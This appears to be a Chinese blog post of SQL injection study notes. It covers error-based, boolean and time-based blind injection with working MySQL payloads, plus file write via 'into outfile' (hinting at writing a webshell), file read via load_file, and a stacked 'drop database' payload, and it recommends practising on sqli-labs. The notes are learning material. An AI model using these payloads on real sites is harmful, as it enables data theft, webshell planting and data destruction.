sql注入笔记

一.为什么会有sql注入

  • 不当的字符处理
  • 不安全的数据库配置
  • 不合理的查询处理
  • 不当的错误处理

1.不当的字符处理
SQL数据库将单引号解析成了代码与数据的分割线,单引号外面的内容均是需要执行的的代码·。将用户输入直接传递给动态创建的SQL语句,单引号字符会被解析成字符分隔符,并作为代码与字符的分界。
注意:处理数字型数据是不需要使用单引号将数字数据引起来。

2.不安全的数据库配置
SQLSserver经常用“sa”作为数据库管理账户,MySQL使用“root”作为数据库管理账户,Oracle在创建数据库会创建SYS,SYSTEM和OUTLN账户。而一些默认账户会有默认密码。

3.不合理的查询处理
在进行数据库操作时,用户输入的数据没有严格的过滤,用户可以自己构造SQL语句,采用拼接、注释等方式构造SQL语句来执行自己的语句。(万能密码)

4.不当的错误处理
将详细的内部错误信息展示给用户或攻击者,一些错误信息会为攻击者提供网站缺陷或者有关的线索。开发和服务器配置时导致将错误直接回显。


二. SQL注入分类

  1. 以字符类型分类
    数字型:不需要单引号和双引号闭合
    字符型:在注入中考虑引号的闭合和注释
  2. 以注入方式分类
    回显:将构造的SQL语句执行后的结果回显或者报错的形式显示出来。
    盲注:开发时关闭错误显示,输入内容不在页面中展示出来

三.回显注入

  • 回显正常:通过执行构造的SQL语句注入后,页面与原有页面存在差异但没有报错信息。
  • 回显报错:通过执行构造的SQL语句之后,页面报错,且将报错信息显示在页面上。

四.回显报错

count()         select count(*) from table_name    返回表内数据条数
                    select count(*);   select count(222);   返回1
rand()          select rand();   select(数字)      返回随机浮点数数
                    rand(5)=rand(5)
                    select rand(a);             直接报错  unknown column 'a' in 'field list'
                    select rand(a) from table_name;    如果表里有这个列名则返回浮点数,否则报错
                    rand()   默认为0到1     rand()*2     设置为0到2
group by     与order by 类似
  • floor() 报错注入
    报错是因为floor(rand(0)*2)的不确定性,group by floor(rand(0)*2)出现的原因是key是两个随机数,检测临时表key是否存在时计算了一下floor(rand(0)*2)可能为0,也可能为1,就会导致插入时冲突而报错,即检测时和插入时两次计算了随机数的值。

  • extractvalue()函数报错注入
    输入了符合xpath_string格式的字符串导致的报错。

  • 宽字节报错注入
    使用宽字节编码问题。

  • 其他报错注入
    如join报错注入:利用自己join自己,来达到列名相同来爆破名。exp数学中求最小数字的相反数据报错等。

    五.盲注
    我们通常在进行注入时不会有报错返回结果,所以要进行盲注。

  • 布尔值盲注
    and user()=‘root@localhost’
    模糊测试
    and user() like ‘r%’
    可以一位一位测试 可以用burp跑 也可以写脚本…

  • 时间盲注

sleep()    睡眠暂停   若成功执行,返回0   若被中断则返回1  
and sleep(5)      单位为s《设置5比较适中》
看返回结果响应时间  
可以直接数也可以f12查看
if(expr1,expr2,expr3)   如果expr1为真则返回expr2;如果expr1为假则返回expr3
if()  的返回值为数字值或字符串值,具体情况看其所在语境
select if(1,'ture','flase');    返回ture
select if(0,'ture','flase');    返回flase
mid(str,num,num)     mid(字符串,起始位数,查询位数)
select mid('asdf',1,2);      返回as
也可以这样  select mid((select username from admin where id=1),1,1);
select ascii(mid(user(),1,1))=114;    返回1    说明第一位是r
select if(ascii(mid(user(),1,1))=114,sleep(5),1);   如果user()第一位是r则延迟5秒后返回0,如果不是则直接返回1            用and链接

length()     长度函数
select length(user())             14位用户名
and length(user())=a  
select if(ascii(mid(user(),1,1))=114,sleep(5),1)       设置变量burp往出跑
and if(ascii(mid(user(),1,1))=114,sleep(5),1)          类似的也可以爆出其他信息
也可以这样  select if(mid(user(),1,1) like 'r%',sleep(5),1)     设置两个变量继续跑

ps:
暴力猜解
and exists(select * from table_name); 判断是否有table_name表
and exists(select flag from table_name)判断是否有flag字段,将flag作为变量猜解
利用length猜解字段长度
and (select length(flag) form table_name)>5
将数字5作为变量猜解
然后利用ascii码继续猜解
and (select ord(substr(flag,1,1)) from table_name)>97
把97作为变量猜解flag

**写入文件**
1.绝对路径        D:\php\WWW    
2.最高权限   mysql- root     这里不是说你是root用户名就是最高权限了...
union select 1,"hackby123",3 into outfile "D:\\php\\WWW\\1.txt"  
注意写目录时 因为 \ 有转移的意思,所以必须写\\ 或/
就会有一个1.txt的文件    内容为  1 "hackby123" 3
当然union联合查询要与前面的列数保持一致要不然会报错
这里也可以用来写入 一句话......

**读取文件**
load_file()   加载文件
replace()
hex()    转为十六进制防止乱码

事先判断好回显点
union select 1,load_file('D:/php/www/1.txt'),3
会出现文件中内容    一般将D:/php/www/1.txt转为十六进制 
union select 1,load_file(0x443a2f7068702f7777772f312e747874),3
但这样如果文件中有中文或者文件内容过长时会出现乱码
所以转为十六进制,然后再转回字符,就解决了乱码问题
union select 1,hex(load_file(0x443a2f7068702f7777772f312e747874)),3

**删除信息**
select 1,2,3 from news where name='1251';drop database test #'
删除 test 数据库 

推荐sqli_labs练习
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
【优质项目推荐】 1、项目代码均经过严格本地测试,运行OK,确保功能稳定后才上传平台。可放心下载并立即投入使用,若遇到任何使用问题,随时欢迎私信反馈与沟通,博主会第一时间回复。 2、项目适用于计算机相关专业(如计科、信息安全、数据科学、人工智能、通信、物联网、自动化、电子信息等)的在校学生、专业教师,或企业员工,小白入门等都适用。 3、该项目不仅具有很高的学习借鉴价值,对于初学者来说,也是入门进阶的绝佳选择;当然也可以直接用于 毕设、课设、期末大作业或项目初期立项演示等。 3、开放创新:如果您有一定基础,且热爱探索钻研,可以在此代码基础上二次开发,进行修改、扩展,创造出属于自己的独特应用。 欢迎下载使用优质资源!欢迎借鉴使用,并欢迎学习交流,共同探索编程的无穷魅力! 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip 基于业务逻辑生成特征变量python实现源码+数据集+超详细注释.zip
提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码中配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程中,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码中的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值